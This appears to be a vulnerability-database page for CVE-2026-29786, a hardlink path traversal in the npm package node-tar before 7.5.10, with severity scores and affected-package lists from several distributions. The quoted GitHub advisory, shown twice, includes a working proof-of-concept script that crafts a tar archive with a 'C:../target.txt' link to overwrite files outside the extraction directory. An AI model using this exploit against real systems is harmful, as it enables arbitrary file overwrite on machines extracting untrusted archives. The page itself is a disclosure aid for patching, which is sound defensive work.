Every CVE Search/ Get API key

CVE-2026-29786

node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

8.2 HighPublic exploitFix available

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
Low

Exploit likelihood

0.51%Up 0.5 points since Mar 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
CVE-2026-29786
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Weakness
CWE-22, CWE-59, CWE-22
Updated
2026-11-02
EUVDEUVD-2026-10164 8.2

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
EUVD-2026-10164
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-qffp-2rhf-9h96 8.2

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with [email protected].

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files
Record
GHSA-qffp-2rhf-9h96
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Weakness
CWE-22, CWE-59
Updated
2026-11-02
NVD 8.2

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
CVE-2026-29786
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.3 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSV 8.2

node-tar: Hardlink Path Traversal via Drive-Relative Linkpath

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
CVE-2026-29786
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVDEBIAN-CVE-2026-29786 6.3

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
DEBIAN-CVE-2026-29786
CVSS 3.1
6.3 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Updated
2026-11-02
Show 16 moreShow less
OSVGHSA-qffp-2rhf-9h96 8.2

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with [email protected].

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files
Record
GHSA-qffp-2rhf-9h96
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-29786 6.3

CVE-2026-29786 in tar - Patched by Root

Root has patched CVE-2026-29786 in the tar package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-29786
CVSS 3.1
6.3 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Updated
2026-11-03
OSVUBUNTU-CVE-2026-29786 8.2

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
UBUNTU-CVE-2026-29786
CVSS 4.0
8.2 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
CVSS 3.1
6.3 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Updated
2026-11-02
OSVAZL-101772 No score

CVE-2026-29786 affecting package python-tensorboard 2.16.2-6

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
AZL-101772
Updated
2026-11-02
OSVAZL-79553 No score

CVE-2026-29786 affecting package tar 1.35-2

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
AZL-79553
Updated
2026-11-02
OSVAZL-79556 No score

CVE-2026-29786 affecting package tar 1.34-3

node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.

Record
AZL-79556
Updated
2026-11-02
OSVCLSA-2026-1773533794 No score

TuxCare security update for tar (6 CVEs)

TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.2.1-tuxcare.1.

Record
CLSA-2026-1773533794
Updated
2026-11-02
OSVCLSA-2026-1774830255 No score

TuxCare security update for tar (4 CVEs)

TuxCare rebuilt tar to address 4 CVEs. Fixed in 2.1.1-tuxcare.2.

Record
CLSA-2026-1774830255
Updated
2026-11-02
OSVCLSA-2026-1776818213 No score

TuxCare security update for tar (2 CVEs)

TuxCare rebuilt tar to address 2 CVEs. Fixed in 1.0.3-tuxcare.3.

Record
CLSA-2026-1776818213
Updated
2026-11-02
OSVCLSA-2026-1787146736 No score

TuxCare security update for tar (1 CVE)

TuxCare rebuilt tar to address 1 CVE. Fixed in 2.2.2-tuxcare.2.

Record
CLSA-2026-1787146736
Updated
2026-11-02
OSVCLSA-2026-1787916963 No score

TuxCare security update for tar (5 CVEs)

TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.2.0-tuxcare.2.

Record
CLSA-2026-1787916963
Updated
2026-11-02
OSVCLSA-2026-1792074268 No score

TuxCare security update for tar (8 CVEs)

TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.

Record
CLSA-2026-1792074268
Updated
2026-11-02
OSVCLSA-2026-1792074305 No score

TuxCare security update for tar (12 CVEs)

TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.

Record
CLSA-2026-1792074305
Updated
2026-11-02
OSVCLSA-2026-1792369404 No score

TuxCare security update for tar (9 CVEs)

TuxCare rebuilt tar to address 9 CVEs. Fixed in 6.1.0-tuxcare.2.

Record
CLSA-2026-1792369404
Updated
2026-11-02
OSVCLSA-2026-1793365674 No score

TuxCare security update for tar (2 CVEs)

TuxCare rebuilt tar to address 2 CVEs. Fixed in 6.1.6-tuxcare.4.

Record
CLSA-2026-1793365674
Updated
2026-11-02
OSVROOT-APP-NPM-GHSA-qffp-2rhf-9h96 No score

GHSA-qffp-2rhf-9h96 in @rootio/tar - Patched by Root

Root has patched GHSA-qffp-2rhf-9h96 in the @rootio/tar package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-GHSA-qffp-2rhf-9h96
Updated
2026-11-02

Affected products

Show 11 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
tar
npm
through 7.5.9
7.5.10
python-tensorboard
Azure Linux:3
through 2.16.2-6 None known
tar
Azure Linux:3
through 1.35-2 None known
tar
Azure Linux:2
through 1.34-3 None known
tar
TuxCare:npm
From an advisory covering 6 CVEs
6.2.1-tuxcare.0 up to 6.2.1-tuxcare.1, plus listed versions
6.2.1
6.2.1-tuxcare.1
tar
TuxCare:npm
From an advisory covering 4 CVEs
2.1.1-tuxcare.0 up to 2.1.1-tuxcare.2, plus listed versions
2.1.12.1.1-tuxcare.1
2.1.1-tuxcare.2
tar
TuxCare:npm
From an advisory covering 2 CVEs
1.0.3-tuxcare.0 up to 1.0.3-tuxcare.3, plus listed versions
1.0.31.0.3-tuxcare.11.0.3-tuxcare.2
1.0.3-tuxcare.3
tar
TuxCare:npm
2.2.2-tuxcare.0 up to 2.2.2-tuxcare.2, plus listed versions
2.2.22.2.2-tuxcare.1
2.2.2-tuxcare.2
tar
TuxCare:npm
From an advisory covering 7 CVEs
6.2.0-tuxcare.0 up to 6.2.0-tuxcare.5, plus listed versions
6.2.06.2.0-tuxcare.16.2.0-tuxcare.26.2.0-tuxcare.36.2.0-tuxcare.4
6.2.0-tuxcare.5
tar
TuxCare:npm
From an advisory covering 11 CVEs
6.0.2-tuxcare.0 up to 6.0.2-tuxcare.6, plus listed versions
6.0.26.0.2-tuxcare.16.0.2-tuxcare.26.0.2-tuxcare.36.0.2-tuxcare.46.0.2-tuxcare.5
6.0.2-tuxcare.6
Show 17 moreShow less
Affected packages
PackageAffectedFixed
tar
TuxCare:npm
From an advisory covering 9 CVEs
6.1.0-tuxcare.0 up to 6.1.0-tuxcare.2, plus listed versions
6.1.06.1.0-tuxcare.1
6.1.0-tuxcare.2
tar
TuxCare:npm
From an advisory covering 2 CVEs
6.1.6-tuxcare.0 up to 6.1.6-tuxcare.4, plus listed versions
6.1.66.1.6-tuxcare.16.1.6-tuxcare.26.1.6-tuxcare.3
6.1.6-tuxcare.4
node-tar
Debian:12
before 6.1.13+~cs7.0.5-1+deb12u1, plus listed versions
6.1.13+~cs7.0.5-1
6.1.13+~cs7.0.5-1+deb12u1
node-tar
Debian:13
before 6.2.1+~cs7.0.8-1+deb13u1, plus listed versions
6.2.1+~cs7.0.8-1
6.2.1+~cs7.0.8-1+deb13u1
node-tar
Debian:14
before 6.2.1+ds1+~cs6.1.13-8, plus listed versions
6.2.1+ds1+~cs6.1.13-16.2.1+ds1+~cs6.1.13-26.2.1+ds1+~cs6.1.13-36.2.1+ds1+~cs6.1.13-46.2.1+ds1+~cs6.1.13-56.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+~cs7.0.8-1
6.2.1+ds1+~cs6.1.13-8
tar
npm
before 7.5.10
7.5.10
tar
Root:npm
before 6.1.11-aikido.10
6.1.11-aikido.107.5.1-aikido.127.5.7-aikido.44.4.19-aikido.36.2.1-aikido.87.5.9-aikido.27.4.3-aikido.86.2.0-aikido.106.1.13-aikido.36.1.11-aikido.47.5.1-aikido.96.1.14-aikido.36.1.11-aikido.56.1.11-aikido.64.4.19-aikido.47.5.1-aikido.106.2.1-aikido.96.1.11-aikido.76.1.14-aikido.46.1.11-aikido.86.2.1-aikido.104.4.19-aikido.57.4.3-aikido.96.2.1-aikido.116.1.11-aikido.94.4.19-aikido.67.4.3-aikido.106.1.14-aikido.57.5.1-aikido.117.5.9-aikido.37.5.9-aikido.47.5.9-aikido.56.1.13-aikido.44.4.19-aikido.76.2.1-aikido.127.5.9-aikido.66.1.13-aikido.56.1.14-aikido.67.4.3-aikido.116.1.13-aikido.66.1.13-aikido.76.1.13-aikido.87.4.3-aikido.124.4.13-aikido.16.2.0-aikido.117.5.7-aikido.57.5.7-aikido.6
@rootio/tar
Root:npm
before 6.2.1-root.io.6
6.2.1-root.io.66.2.0-root.io.77.4.3-root.io.57.5.1-root.io.66.2.1-root.io.76.1.11-root.io.27.4.3-root.io.67.5.1-root.io.76.2.0-root.io.87.4.3-root.io.77.5.1-root.io.86.2.0-root.io.96.1.13-root.io.26.1.14-root.io.27.5.9-root.io.17.5.7-root.io.36.1.11-root.io.36.1.11-root.io.104.4.19-root.io.27.5.1-root.io.127.5.7-root.io.44.4.19-root.io.36.2.1-root.io.87.5.9-root.io.27.4.3-root.io.86.2.0-root.io.106.1.13-root.io.36.1.11-root.io.47.5.1-root.io.96.1.14-root.io.36.1.11-root.io.56.1.11-root.io.64.4.19-root.io.47.5.1-root.io.106.2.1-root.io.96.1.11-root.io.76.1.14-root.io.46.1.11-root.io.86.2.1-root.io.104.4.19-root.io.57.4.3-root.io.96.2.1-root.io.116.1.11-root.io.94.4.19-root.io.67.4.3-root.io.106.1.14-root.io.57.5.1-root.io.117.5.9-root.io.37.5.9-root.io.47.5.9-root.io.56.1.13-root.io.44.4.19-root.io.76.2.1-root.io.127.5.9-root.io.66.1.13-root.io.56.1.14-root.io.67.4.3-root.io.116.1.13-root.io.66.1.13-root.io.76.1.13-root.io.87.4.3-root.io.124.4.13-root.io.16.2.0-root.io.117.5.7-root.io.57.5.7-root.io.6
@rootio/tar
Root:npm
before 6.2.1-root.io.5
6.2.1-root.io.5
node-tar
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
0.1.18-10.1.18-1ubuntu0.1~esm1
None known
node-tar
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.3-21.0.3-2ubuntu0.1~esm1
None known
node-tar
Ubuntu:18.04:LTS
All versions, plus listed versions
2.2.1-1
None known
node-tar
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1
None known
node-tar
Ubuntu:22.04:LTS
All versions, plus listed versions
6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1
None known
node-tar
Ubuntu:24.04:LTS
All versions, plus listed versions
6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3
None known
node-tar
Ubuntu:25.10
All versions, plus listed versions
6.2.1+~cs7.0.8-1
None known
node-tar
Ubuntu:26.04:LTS
All versions, plus listed versions
6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10
None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubJvr2022/CVE-2026-297862026-03-05
PoC in GitHubRohitberiwala/NodeJS-Tar-Symlink-Exploit-CVE-2026-297862026-03-10

History

History
RecordedChangedSources
affected, facts
affectedOSV
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-29786 is a high vulnerability (CVSS 8.2) in Isaacs Node-tar, published March 5, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in tar 7.5.10.

References

Show 6 moreShow less
MoveEnter Open